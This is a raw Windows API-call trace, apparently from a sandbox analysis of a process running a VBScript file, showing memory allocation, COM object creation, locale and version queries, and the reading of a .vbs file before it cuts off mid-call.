malloc (_Size=0x38) returned 0x1bd3cb76b80 [0164.435] malloc (_Size=0xc0) returned 0x1bd3cb76ee0 [0164.435] malloc (_Size=0x38) returned 0x1bd3cb76fb0 [0164.435] GetCurrentThreadId () returned 0x125c [0164.435] malloc (_Size=0x80) returned 0x1bd3cb76ff0 [0164.436] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0164.436] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x49d06feaf0, cchData=6 | out: lpLCData="1252") returned 5 [0164.436] IsValidCodePage (CodePage=0x4e4) returned 1 [0164.437] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x7ffa789b0000 [0164.437] GetProcAddress (hModule=0x7ffa789b0000, lpProcName="ResolveDelayLoadedAPI") returned 0x7ffa78a0f670 [0164.437] GetProcAddress (hModule=0x7ffa789b0000, lpProcName="ResolveDelayLoadsFromDll") returned 0x7ffa78a71540 [0164.437] ResolveDelayLoadedAPI () returned 0x7ffa7b96fb70 [0164.438] CoCreateInstance (in: rclsid=0x7ffa6103e800*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa6103e7e0*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x1bd3cb767e8 | out: ppv=0x1bd3cb767e8*=0x1bd3c7ee550) returned 0x0 [0164.438] IUnknown:AddRef (This=0x1bd3c7ee550) returned 0x2 [0164.438] GetCurrentProcessId () returned 0x136c [0164.438] GetCurrentThreadId () returned 0x125c [0164.438] GetTickCount () returned 0xaa092f [0164.438] ISystemDebugEventFire:BeginSession (This=0x1bd3c7ee550, guidSourceID=0x7ffa6103e958, strSessionName="VBScript:00004972:00004700:11143471") returned 0x0 [0164.439] GetCurrentThreadId () returned 0x125c [0164.439] malloc (_Size=0x40) returned 0x1bd3cb77080 [0164.439] malloc (_Size=0xf0) returned 0x1bd3cb770d0 [0164.439] malloc (_Size=0x80) returned 0x1bd3cb771d0 [0164.439] malloc (_Size=0x108) returned 0x1bd3cb77260 [0164.439] memcpy (in: _Dst=0x1bd3cb772a8, _Src=0x1bd3c7d5488, _Size=0x10 | out: _Dst=0x1bd3cb772a8) returned 0x1bd3cb772a8 [0164.439] GetCurrentThreadId () returned 0x125c [0164.439] malloc (_Size=0x40) returned 0x1bd3cb77370 [0164.439] memcpy (in: _Dst=0x1bd3cb772f8, _Src=0x1bd3c7dd708, _Size=0x8 | out: _Dst=0x1bd3cb772f8) returned 0x1bd3cb772f8 [0164.866] malloc (_Size=0x100) returned 0x1bd3cb77d80 [0164.879] GetVersionExA (in: lpVersionInformation=0x49d06fcf10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x49d06fcf10*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0164.879] GetUserDefaultLCID () returned 0x409 [0164.879] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x49d06fca80, cchData=2 | out: lpLCData="") returned 2 [0164.879] IsFileSupportedName () returned 0x1 [0164.879] _wcsicmp (_String1=".vbs", _String2=".vbs") returned 0 [0164.943] GetSignedDataMsg () returned 0x0 [0164.943] GetCurrentProcess () returned 0xffffffffffffffff [0164.943] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x17c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x49d06fd770, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x49d06fd770*=0x1d0) returned 1 [0164.943] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2be [0164.943] malloc (_Size=0x2be) returned 0x1bd3cb79310 [0164.943] SetFilePointer (in: hFile=0x1d0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0164.943] ReadFile (in: hFile=0x1d0, lpBuffer=0x1bd3cb79310, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x49d06fd730, lpOverlapped=0x0 | out: lpBuffer=0x1bd3cb79310*, lpNumberOfBytesRead=0x49d06fd730*=0x2be, lpOverlapped=0x0) returned 1 [0164.943] CoInitialize (pvReserved=0x0) returned 0x1 [0164.943] CoCreateInstance (in: rclsid=0x7ffa6b04e808*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa6b04e818*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x49d06fd690 | out: ppv=0x49d06fd690*=0x1bd3cb79a40) returned 0x0 [0164.956] malloc (_Size=0x100) returned 0x1bd3cb77e90 [0164.957] __dllonexit () returned 0x7ffa631fbd60 [0164.957] __dllonexit () returned 0x7ffa631fbd80 [0164.958] GetVersionExA (in: lpVersionInformation=0x49d06fb0e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x7ffa, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x631fbd80, szCSDVersion="ú\x7f") | out: lpVersionInformation=0x49d06fb0e0*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0164.958] GetProcessWindowStation () returned 0x6c [0164.958] GetUserObjectInformationA (in: hObj=0x6c, nIndex=1, pvInfo=0x49d06fb0c8, nLength=0xc, lpnLengthNeeded=0x49d06fb0c0 | out: pvInfo=0x49d06fb0c8, lpnLengthNeeded=0x49d06fb0c0) returned 1 [0164.958] malloc (_Size=0x48) returned 0x1bd3cb795e0 [0164.958] malloc (_Size=0x20) returned 0x1bd3cb79630 [0164.958] malloc (_Size=0x38) returned 0x1bd3cb79660 [0164.958] malloc (_Size=0x38) returned 0x1bd3cb796a0 [0164.958] malloc (_Size=0x38) returned 0x1bd3cb796e0 [0164.958] malloc (_Size=0x38) returned 0x1bd3cb79720 [0164.959] malloc (_Size=0x38) returned 0x1bd3cb79760 [0164.959] malloc (_Size=0x38) returned 0x1bd3cb797a0 [0164.959] malloc (_Size=0x38) returned 0x1bd3cb797e0 [0164.959] malloc (_Size=0x38) returned 0x1bd3cb79820 [0164.959] malloc (_Size=0x40) returned 0x1bd3cb79860 [0164.959] free (_Block=0x1bd3cb79630) [0164.959] malloc (_Size=0x38) returned 0x1bd3cb798b0 [0164.959] malloc (_Size=0x38) returned 0x1bd3cb798f0 [0164.959] DllGetClassObject (in: rclsid=0x1bd3c7ed080*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), riid=0x7ffa7ba925a0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x49d06fc110 | out: ppv=0x49d06fc110*=0x1bd3cb79630) returned 0x0 [0164.959] malloc (_Size=0x10) returned 0x1bd3cb79630 [0164.960] IClassFactory:CreateInstance (in: This=0x1bd3cb79630, pUnkOuter=0x0, riid=0x49d06fcfe0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x49d06fc128 | out: ppvObject=0x49d06fc128*=0x1bd3cb79a40) returned 0x0 [0164.960] malloc (_Size=0x38) returned 0x1bd3cb79930 [0164.960] GetSystemInfo (in: lpSystemInfo=0x49d06fbfa8 | out: lpSystemInfo=0x49d06fbfa8*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffffffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x6a06)) [0164.960] VirtualQuery (in: lpAddress=0x49d06fbfa0, lpBuffer=0x49d06fbfd8, dwLength=0x30 | out: lpBuffer=0x49d06fbfd8*(BaseAddress=0x49d06fb000, AllocationBase=0x49d0600000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x5000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0164.960] malloc (_Size=0x10) returned 0x1bd3cb79970 [0164.960] malloc (_Size=0x58) returned 0x1bd3cb79990 [0164.960] malloc (_Size=0x20) returned 0x1bd3cb799f0 [0164.960] malloc (_Size=0xc0) returned 0x1bd3cb79a20 [0164.961] malloc (_Size=0x18) returned 0x1bd3cb79af0 [0164.961] IUnknown:AddRef (This=0x1bd3cb79a40) returned 0x2 [0164.961] IUnknown:Release (This=0x1bd3cb79a40) returned 0x1 [0164.961] IUnknown:Release (This=0x1bd3cb79630) returned 0x0 [0164.961] free (_Block=0x1bd3cb79630) [0164.961] IUnknown:QueryInterface (in: This=0x1bd3cb79a40, riid=0x7ffa6b04e818*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppvObject=0x49d06fd628 | out: ppvObject=0x49d06fd628*=0x1bd3cb79a40) returned 0x0 [0164.961] IUnknown:Release (This=0x1bd3cb79a40) returned 0x1 [0164.961] _strnicmp (_Str1="